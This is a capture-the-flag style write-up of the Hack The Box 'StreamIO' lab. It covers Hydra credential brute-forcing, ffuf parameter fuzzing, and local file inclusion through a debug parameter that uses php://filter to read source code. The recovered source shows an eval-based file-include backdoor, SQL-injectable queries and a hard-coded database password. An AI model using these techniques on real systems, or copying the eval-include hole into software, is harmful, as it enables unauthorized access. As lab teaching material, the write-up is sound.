Authentication


During the initial phase of web enumeration, endpoints for both login and registration were discovered on the streamio.htb host. While the existence of these endpoints suggested the presence of an authentication mechanism, their functionality remained unclear as attempts to authenticate with a newly created testing account proved unsuccessful. Additionally, an endpoint restricted to admin users, indicated by a 403 status code, was identified, raising further questions.

Subsequently, a SQL injection vulnerability was identified in the q parameter of the search.php file, hosted on the dedicated streaming platform at watch.streamio.htb. This platform (host) is distinct from the main website hosted on the streamio.htb host as users are able to access and stream the stored media. Exploiting this vulnerability resulted in a successful data exfiltration, revealing the backend that includes credential hashes for the web application on the streamio.htb host. Some of the credential hashes were cracked at a later stage.

In the following sections, we will explore the authentication process and conduct further enumeration of the admin endpoint on the streamio.htb host using the obtained credentials.

Brute-Force Attack with Hydra


Considering the availability of numerous usernames and passwords, manually testing each of them would be a time-intensive process. So I will be using hydra here

┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ hydra -L users.txt -P passwords.txt -S "http-post-form://streamio.htb/login.php:username=^USER^&password=^PASS^:Login failed"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
 
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-14 03:39:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 403 login tries (l:31/p:13), ~26 tries per task
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:Login failed
[443][http-post-form] host: streamio.htb   login: yoshihide   password: 66boysandgirls..
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-14 03:40:02

Using hydra, a brute-force attack is completed with a credential found; yoshihide:66boysandgirls.. It’s important to remind that this is a credential for the web app hosted on the streamio.htb host.

Web authentication succeeded with the found credential I am redirected to the landing page with a session cookie

admin


I am now able to access the admin endpoint at /admin/index.php without getting denied with 403 There appears to be a small interface with 4 functions

User management


The User management button opens up the user parameter of the file It lists users, including the test account that I have created earlier Deletion is also supported here

Staff management


The Staff management button indeed lists out those staff users Query parameter is staff here

Movie management


The Movie management button lists all the movies Query parameter is movie

Leave a message for admin


The Leave a message for admin button is rather strange as it doesn’t show anything. The message parameter is about all that I can get

Parameter Mining


Examining the admin panel above revealed that the 4 features are embedded within the index.php file, each associated with distinct parameters. Although one of these features remained unclear, as it did not seem to offer any functionality, I also recognized the potential existence of concealed parameters, hinted at by an anomalous file containing ambiguous text.

┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ ffuf -X POST -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u https://streamio.htb/admin/index.php?FUZZ= -ic -b 'PHPSESSID=t5m84bvio8dqsn4oene317saoc' -fs 1678
________________________________________________
 :: Method           : POST
 :: URL              : https://streamio.htb/admin/index.php?FUZZ=
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : Cookie: PHPSESSID=t5m84bvio8dqsn4oene317saoc
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1678
________________________________________________
debug                   [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 90ms]
movie                   [Status: 200, Size: 320235, Words: 15986, Lines: 10791, Duration: 108ms]
staff                   [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 90ms]
user                    [Status: 200, Size: 2444, Words: 207, Lines: 75, Duration: 86ms]
:: Progress: [6453/6453] :: Job [1/1] :: 396 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

ffuf returned a single hidden parameter; debug The debug parameter was never mentioned or documented

While assumptions can easily be made as the name speaks for itself, I will confirm the functionality of it

Debug Parameter


Exploring the debug parameter reveals a text; this option is for developers only It seems to suggest that the parameter provides privileged access

Following several attempts, I successfully identified its functionality. it appears to operate primarily through inclusion, resembling php’s include function, allowing the loading and execution of PHP files. Using the directory traversal technique, I was able to load and execute several existing PHP files, including the index.php and about.php files in the webroot

Although this introduces a whole new set of security concerns, my immediate focus will be on investigating the peculiar file containing cryptic text. Given the explicit mention of inclusion in the text, it suggests potential interconnectedness and relevance to the identified security issues.

master.php


This is the strange file with ambiguous text, specifically mentioning “inclusion”

Leveraging the debug parameter, I can attempt to load and execute the master.php file To my surprise, this appears to be the admin panel itself, index.php, that I have been enumerating all along earlier above

So clearly, the “admin panel”, which I initially thought to be running off the index.php file and the strange master.php file are somehow connected. I will clarify the connection further by attempting to read the source code

Do to so, I will be using the PHP conversion filter to “wrap” the target resource by encoding it in the base64 format. “Wrapping” is necessary as the inclusion in the debug parameter would otherwise execute PHP codes in the target resource. This is a commonly used technique to further utilize the existing LFI to perform file read operation

The syntax is php://filter/convert.base64-encode/resource=<FILE> There is the base64 string. I will grab that and convert it back to its original statement offline on Kali to check the source code

Source Code


┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ base64 -d master.php.b64 
<h1>Movie managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
 
<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST" action="?movie=">
				<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
 
<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
 
<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

Checking the source code of the master.php file reveals 2 sets of critical information;

  1. A hidden HTML input form with an input field (parameter) named include
    • This input field is integral to the form, and its value will be sent as part of the POST data.
  2. The PHP section located directly below handles the POST request made with the include parameter
    • It does that by checking if the include parameter is set in the POST data using isset($_POST['include']).
      • If the include parameter is set, it then checks if the value is not equal to index.php
        • if the condition is true, it uses the file_get_contents function to read the specified file and the eval function to execute the content

This essentially implies that the master.php file reads and executes any file specified in the include POST parameter, provided it is not index.php.

arbitrary code execution is entirely possible as the eval function is called without presence of any input sanitization. I could additionally leverage RFI to load up and execute an arbitrary PHP code

What About index.php?


Although an attack vector has clearly been established above, it still doesn’t explain the interconnectivity of both index.php and master.php files I will explore further by checking the source code of the index.php file

Employing the same technique to grab the index.php file

┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ base64 -d index.php.b64
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
	header('HTTP/1.1 403 Forbidden');
	die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
 
?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Admin panel</title>
	<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
	<!-- Basic -->
	<meta charset="utf-8" />
	<meta http-equiv="X-UA-Compatible" content="IE=edge" />
	<!-- Mobile Metas -->
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
	<!-- Site Metas -->
	<meta name="keywords" content="" />
	<meta name="description" content="" />
	<meta name="author" content="" />
 
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
 
	<!-- Custom styles for this template -->
	<link href="/css/style.css" rel="stylesheet" />
	<!-- responsive style -->
	<link href="/css/responsive.css" rel="stylesheet" />
 
</head>
<body>
	<center class="container">
		<br>
		<h1>Admin panel</h1>
		<br><hr><br>
		<ul class="nav nav-pills nav-fill">
			<li class="nav-item">
				<a class="nav-link" href="?user=">User management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?staff=">Staff management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?movie=">Movie management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?message=">Leave a message for admin</a>
			</li>
		</ul>
		<br><hr><br>
		<div id="inc">
			<?php
				if(isset($_GET['debug']))
				{
					echo 'this option is for developers only';
					if($_GET['debug'] === "index.php") {
						die(' ---- ERROR ----');
					} else {
						include $_GET['debug'];
					}
				}
				else if(isset($_GET['user']))
					require 'user_inc.php';
				else if(isset($_GET['staff']))
					require 'staff_inc.php';
				else if(isset($_GET['movie']))
					require 'movie_inc.php';
				else 
			?>
		</div>
	</center>
</body>
</html>                                                                                          

It turns out the index.php file has a CLEARTEXT DB credential hard-coded into the SQL connection string; db_admin:B1@hx31234567890 Judging by the name, this account presumably has a higher privileges compared to the db_user account, enumerated from the earlier SQLi

While the actual admin panel is running off the master.php file, the index.php file seems to be focusing on privileged session handling as well as providing HTLM functionalities mapped to the backend in the master.php file

The debug parameter can also be seen above with the include function used